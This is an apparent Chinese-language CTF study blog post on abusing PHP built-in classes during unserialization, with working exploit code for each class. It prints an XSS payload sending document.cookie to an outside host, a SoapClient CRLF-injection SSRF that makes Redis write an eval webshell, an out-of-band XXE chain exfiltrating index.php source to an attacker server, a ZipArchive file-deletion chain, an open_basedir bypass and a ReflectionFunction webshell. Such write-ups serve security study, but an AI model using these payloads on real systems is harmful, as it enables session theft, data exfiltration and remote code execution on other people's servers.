学习一下php原生类
常用的php原生类
Error
Exception
SoapClient
Directorylterator
SimpleXMLElement
ZipArchive
SplFileObject
一个一个来跟着大佬博客学习
使用Error/Exception内置类进行xss 内置类Error
Error类是 php 的一个内置类,用于自动自定义一个 Error,在 php7 的环境下可能会造成一个 xss 漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个 POP 链走到一半就走不通了,不如尝试利用这个来做一个 xss,其实还是有好一些 cms 会选择直接使用 echo 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo object的时候)会触发 __toString 方法,这是一种挖洞的新思路。
对内置类Error xss的使用
1 2 3 4 5 6 <?php $a = unserialize($_POST['cmd']); //反序列化成对象 echo $a; echo的时候触发__tostring ?>
exp
1 2 3 4 5 6 7 <?php $a = new error('<script>alert(123)</script>'); echo urlencode(serialize($a)); ?>
内置类Exception
1 2 3 4 5 6 <?php $a = unserialize($_POST['cmd']); echo $a; ?>
exp
1 2 3 4 5 6 7 <?php $a = new Exception('<script>alert(123)</script>'); echo urlencode(serialize($a)); ?>
成功触发
[BJDCTF 2nd]xss之光 好像提到没环境了,那我们就把wp过一遍吧
1 2 3 4 <?php $poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>"); echo urlencode(serialize($poc)); ?>
其实就是使用xss执行window.open然后劫取cookie获得flag
使用Error/Exception内置类绕过hash 在上文中,我们已经认识了 Error 和 Exception 这两个 PHP 内置类,但对他们妙用不仅限于 XSS,还可以通过巧妙的构造绕过 md5() 函数和 sha1() 函数的比较。这里我们就要详细的说一下这个两个错误类了。
Error类 Error 是所有 PHP 内部错误类的基类,该类是在 PHP 7.0.0 中开始引入的。
类摘要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Error implements Throwable { /* 属性 */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* 方法 */ public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
类属性:
message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
类方法:
Exception类 Exception 是所有异常的基类,该类是在 PHP 5.0.0 中开始引入的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Exception { /* 属性 */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* 方法 */ public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
类属性:
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
类方法:
我们可以看到,在 Error 和 Exception 这两个 PHP 原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。
我们以 Error 为例,我们看看当触发他的 __toString 方法时会发生什么:
1 2 3 <?php $a = new Error("payload",1); echo $a;
输出:
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。
在来看看下一个例子:
可见,$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
Error 和 Exception 类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。
[0xgame2025]Rubbish_Unser exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class ZZZ { public $yuzuha; } class HSR { public $robin; } class HI3rd { public $RaidenMei='1'; public $kiana=1; public $guanxing; } class GI { public $furina; } class Mi { public $game; } $a = new ZZZ(); $a->yuzuha = new Mi(); $a->yuzuha->game = new GI(); $a->yuzuha->game->furina = new HI3rd(); //$a->yuzuha->game->furina->kiana='1'; //$a->yuzuha->game->furina->RaidenMei= 1; $a->yuzuha->game->furina->guanxing= new HSR(); $a->yuzuha->game->furina->guanxing->robin = "system('ls');"; $b=array($a,0); echo urlencode(serialize($b)); ?>
md5绕过是php8的(和原生类 Error 有关 )
1 2 3 4 5 a='1'; b=1 或者 a=0; b=0E1;
这个题,我当时做的时候用的就是error类或者exception类,但是直接生成的exp需要去掉一些东西(ai去掉的,现在已经忘记了),然后url编码后,直接就可以打了
[江苏省第七届网络空间知识技能大赛决赛]web1 第一个绕过使用均可以
1 2 3 4 $a = new Error("",1);$b = new Error("",2); $a = NAN; $b = "NAN";
然后是date这里会卡住
转义即可哦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class date{ public $a; public $b; public $file; } $a = new date(); $a->a=NAN; $a->b='NAN'; $a->file='/\f\l\a\g'; echo base64_encode(serialize($a));
这里就是两种方法都可以绕过
使用soapClient类进行SSRF soapClient类 PHP 的内置类 SoapClient 是一个专门用来访问 Web 服务的类,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。
类摘要如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SoapClient { /* 方法 */ public __construct ( string|null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null public __getCookies ( ) : array public __getFunctions ( ) : array|null public __getLastRequest ( ) : string|null public __getLastRequestHeaders ( ) : string|null public __getLastResponse ( ) : string|null public __getLastResponseHeaders ( ) : string|null public __getTypes ( ) : array|null public __setCookie ( string $name , string|null $value = null ) : void public __setLocation ( string $location = "" ) : string|null public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed }
可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
1 public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。
第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。
成功的前提需要先把 php.ini 开启 extension=soup
SoapClient+ssrf 题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file(__FILE__); error_reporting(0); //hint: Redis20251206 class pure{ public $web; public $misc; public $crypto; public $pwn; public function __construct($web, $misc, $crypto, $pwn){ $this->web = $web; $this->misc = $misc; $this->crypto = $crypto; $this->pwn = $pwn; } public function reverse(){ $this->pwn = new $this->web($this->misc, $this->crypto); } public function osint(){ $this->pwn->play_0xGame(); } public function __destruct(){ $this->reverse(); $this->osint(); } } $AI = $_GET['ai']; $ctf = unserialize($AI); ?>
这里会调用未知方法,所以可以调用到魔术方法call(这里会想到soapclient类的call方法),在结合提示redis和20251206(密码),这就是ssrf+redis。
主要利用请求头进行攻击(CLRF)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class pure { public $web; public $misc; public $crypto; public $pwn; } $a = new pure(); $a->web = 'SoapClient'; $a->misc = null; $target = 'http://127.0.0.1:6379/'; $poc = "AUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?= @eval(\$_POST[1]) ?>'\r\nSAVE"; $a->crypto = array('location' => $target, 'uri' => "hello\"\r\n" . $poc . "\r\nhello"); echo urlencode(serialize($a));
\r\n 是HTTP协议中的换行符
通过注入换行符,将Redis命令作为HTTP头部注入
Redis会将这些命令解析并执行
传入shell,连接蚁剑得到flag
使用Directorylterator类绕过open_basedir DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。翻译过来就是文件枚举迭代器。
Directorylterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件
测试源码:
1 2 3 4 5 6 7 8 9 10 11 // test.php <?php $dir = $_GET['whoami']; $a = new DirectoryIterator($dir); foreach($a as $f){ echo($f->__toString().'<br>'); } ?> # payload一句话的形式: $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
这边可以直接列取根目录
但是不能进行文件读取
同样效果的还有 FilesystemIterator 类与 GlobIterator 类
使用 SimpleXMLElement 类进行 XXE 官方文档中对于 SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:
可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程 xml 文件的载入。第二个参数的常量值我们设置为 2 即可。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
[SUCTF 2018]Homework 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class calc{ function __construct__(){ calc(); } function calc($args1,$method,$args2){ $args1=intval($args1); $args2=intval($args2); switch ($method) { case 'a': $method="+"; break; case 'b': $method="-"; break; case 'c': $method="*"; break; case 'd': $method="/"; break; default: die("invalid input"); } $Expression=$args1.$method.$args2; eval("\$r=$Expression;"); die("Calculation results:".$r); } } ?>
登录进来有一个源码,但是没有什么可以利用的点
我们来看一下这里
出现了module这里是对类名的调用,后面是参数,这样可以使用simpleXmlElement来打一个无回显的xxe
1 http://d40c479f-f84a-495e-a09a-3ac1d2184c9d.node5.buuoj.cn:81/show.php?module=SimpleXMLElement&args[]=http://ip/evil.xml&args[]=2&args[]=true
evil.xml
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http:/ip/send.xml"> %remote; %all; %send; ]>
send.xml
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/send.php?file=%file;'>">
send.php
1 2 3 <?php file_put_contents("result.txt", $_GET['file']) ; ?>
不知道是我的原因还是buu的原因,这里的源码带不出来但是这个思路肯定是能用的
使用 ZipArchive 类来删除文件 PHP ZipArchive 类是 PHP 的一个原生类,它是在 PHP 5.2.0 之后引入的。ZipArchive 类可以对文件进行压缩与解压缩处理。
下面列举几个常见的类方法:
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭 ZipArchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0) 代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
……
我们来重点看看 ZipArchive::open 方法:
1 ZipArchive::open ( string $filename [, int $flags ] ) : mixed
该方法用来打开一个新的或现有的 zip 存档以进行读取,写入或修改。
$filename:要打开的 ZIP 存档的文件名。
$flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个 zip 压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置 flags 参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到 const OVERWRITE = 8,也就是将 OVERWRITE 定义为了常量8,我们在调用时也可以直接将 $flags 赋值为8。
也就是说我们可以利用 ZipArchive 原生类调用 open 方法删除目标主机上的文件。
1 2 3 4 $a = new ZipArchive(); $a->open('1.txt',ZipArchive::OVERWRITE); // ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖 // 因为没有保存,所以效果就是删除了1.txt
题目 题目是铸剑杯的,源码还是存着的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php highlight_file(__FILE__); class install { private $username; private $password; public function __wakeup() { echo "Hello,".$this->username; } public function __toString() { ($this->username)(); return "Guest"; } public function __destruct() { if(file_exists("install.lock")){ exit("Already installed"); }else{ $config = [ 'username' => $this->username, 'password' => md5($this->password) ]; file_put_contents('config.php', serialize($config)); file_put_contents('install.lock', "ok"); } } } class Until { public $a; public $b; public $c; public function __invoke() { $this->write($this->a, $this->b, $this->c); } public function __toString() { return "HappyUnserialize"; } public function write($cla, $file, $cont) { $obj = new $cla(); $obj->open($file,$cont); return True; } } @unserialize($_GET['data']);
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class install { private $username; private $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } } class Until { public $a; public $b; public $c; } $c = new Until(); $c->a = 'ZipArchive'; $c->b = 'install.lock'; $c->c = 8; $c->d = "<?php @eval(\$_POST[1]);?>"; $b = new install($c,123); $a = new install($b,123); echo urlencode(serialize($a));
使用SplFileObject来进行文件内容读取 SplFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php
该类的构造方法可以构造一个新的文件对象用于后续的读取。
我们可以像类似下面这样去读取一个文件的一行:
1 2 3 4 <?php $content = new SplFileObject('1.txt'); echo $content;
只能读取一行
1 2 3 4 5 6 <?php $content = new SplFileObject('1.txt'); foreach ($content as $line) { echo $line ; }
读取多行
[GHCTF 2025]Popppppp exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class CherryBlossom { public $fruit1; public $fruit2; function __destruct() { echo $this->fruit1; } public function __toString() { $newFunc = $this->fruit2; return $newFunc(); } } class Philosopher { public $fruit10; public $fruit11="M7O3sikpATKW9t1AiqA4"; public function __invoke() { if (md5(md5($this->fruit11)) == 666) { return $this->fruit10->hey; } } } class Mystery { public $GlobIterator="/*"; public function __get($arg1) { array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); foreach ($day3 as $day4) { echo ($day4 . '<br>'); } }); } } $x=new CherryBlossom(); $x->fruit1 = new CherryBlossom(); $x->fruit1->fruit2 = new Philosopher(); $x->fruit1->fruit2->fruit10 = new Mystery(); print_r(serialize($x));
将其实例化一个对象array_walk遍历数组,并赋值day1为值,day2为键
day3 将其实例化 day3=new GlobTterator(/*)
列出目录
读取内容
有关php原生类的调用,反序列化时可连续调用同一个类(更简便)
更改Mystery类的属性
拿到flag
双重碰撞md5的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # -*- coding: utf-8 -*- import multiprocessing import hashlib import random import string import sys CHARS = string.ascii_letters + string.digits def cmp_md5(substr, stop_event, str_len, start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start + str_len] == substr: # print rnds # stop_event.set() # 碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start + str_len] == substr: print (rnds + "=>" + value + "=>" + md5.hexdigest() + "\n") stop_event.set() if __name__ == '__main__': substr = sys.argv[1].strip() start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join()
#python2 md5.py “666” 0
反射类Reflection 大体上和 Java 的反射也是一样的
ReflectionMethod 类报告了一个方法的有关信息。ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment() 方法,我们可以用它来获取类中各个函数注释内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class FlagIsHere { /** * 这是测试方法 * flag{success} * @return int */ protected function GiveMeFlag() { return 9999; } } $ref = new ReflectionMethod('FlagIsHere','GiveMeFlag'); var_dump($ref->getDocComment());
使用ReflectionClass类获取类的属性和方法名
ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例。
1 public ReflectionClass::__construct(mixed $argument)
$argument:既可以是包含类名的字符串(string)也可以是对象(object)。
用法如下
example:
把类里面属性和方法的名字都能够显示出来。
使用ReflectionFunction类写Webshell ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()方法能够用来写Webshell。
1 public ReflectionFunction::invokeArgs(array $args): mixed
$args:传递给函数的参数是一个数组,像 call_user_func_array() 的工作方式。
1 2 3 4 5 6 7 8 9 10 <?php function title($title, $name) { return sprintf("%s. %s\r\n", $title, $name); } //方法 $function = new ReflectionFunction('title'); echo $function->invokeArgs(array('Dr', 'Phil')); //参数 ?>
写入webshell
1 2 3 4 <?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); ?>
题目就是,大家可以去看一下https://tari.moe/2021/2021hmb-offline.html
参考 https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/#0x09-%E5%8F%8D%E5%B0%84%E7%B1%BB-Reflection
https://tari.moe/2021/2021hmb-offline.html